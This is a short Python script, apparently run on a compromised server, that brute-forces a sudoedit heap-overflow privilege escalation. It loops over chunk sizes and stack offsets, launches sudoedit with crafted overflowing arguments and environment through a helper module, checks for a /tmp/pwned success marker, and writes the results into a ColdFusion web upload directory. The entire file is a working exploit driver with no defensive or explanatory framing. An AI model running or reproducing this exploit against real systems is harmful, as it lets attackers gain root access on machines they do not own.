import bs_sa, os
bs_sa.has_tailq=False; bs_sa.has_file=False; bs_sa.MATCH_ALL=279; bs_sa.DEFAULTS_CMND=268
bs_sa.ENV_STACK_SIZE_MB = 2
base=0x7fffffdfefda
res=[]
for cs in [0x1150,0x4100,0x4157,0x4170,0x4200,0x4300,0x4400,0x5000,0x6000,0x8000,0xa000,0xae50]:
    for off in [0x0,0x8,0x10,0x18,0x20,0x28,0x30,0x40,0x50,0x60,0x80,0xa0,0xc0,0x100]:
        SA = base - (off - 0x20)
        bs_sa.STACK_ADDR_PAGE = SA
        argv=[b"sudoedit",b"-A",b"-s",b"-C",b"1337",b"A"*(cs-0x10)+b"\\",None]
        env=bs_sa.create_env(off)
        ec,err = bs_sa.spawn(bs_sa.SUDO_PATH, argv, env)
        res.append('c%x_o%x:%d'%(cs,off,ec))
        if os.path.exists('/tmp/pwned'):
            res.append('PWNED@c%x_o%x'%(cs,off)); break
    if os.path.exists('/tmp/pwned'): break
open('/opt/coldfusion8/wwwroot/userfiles/file/scan.txt','w').write('pwned=%s %s\n'%(os.path.exists('/tmp/pwned'),','.join(res)))
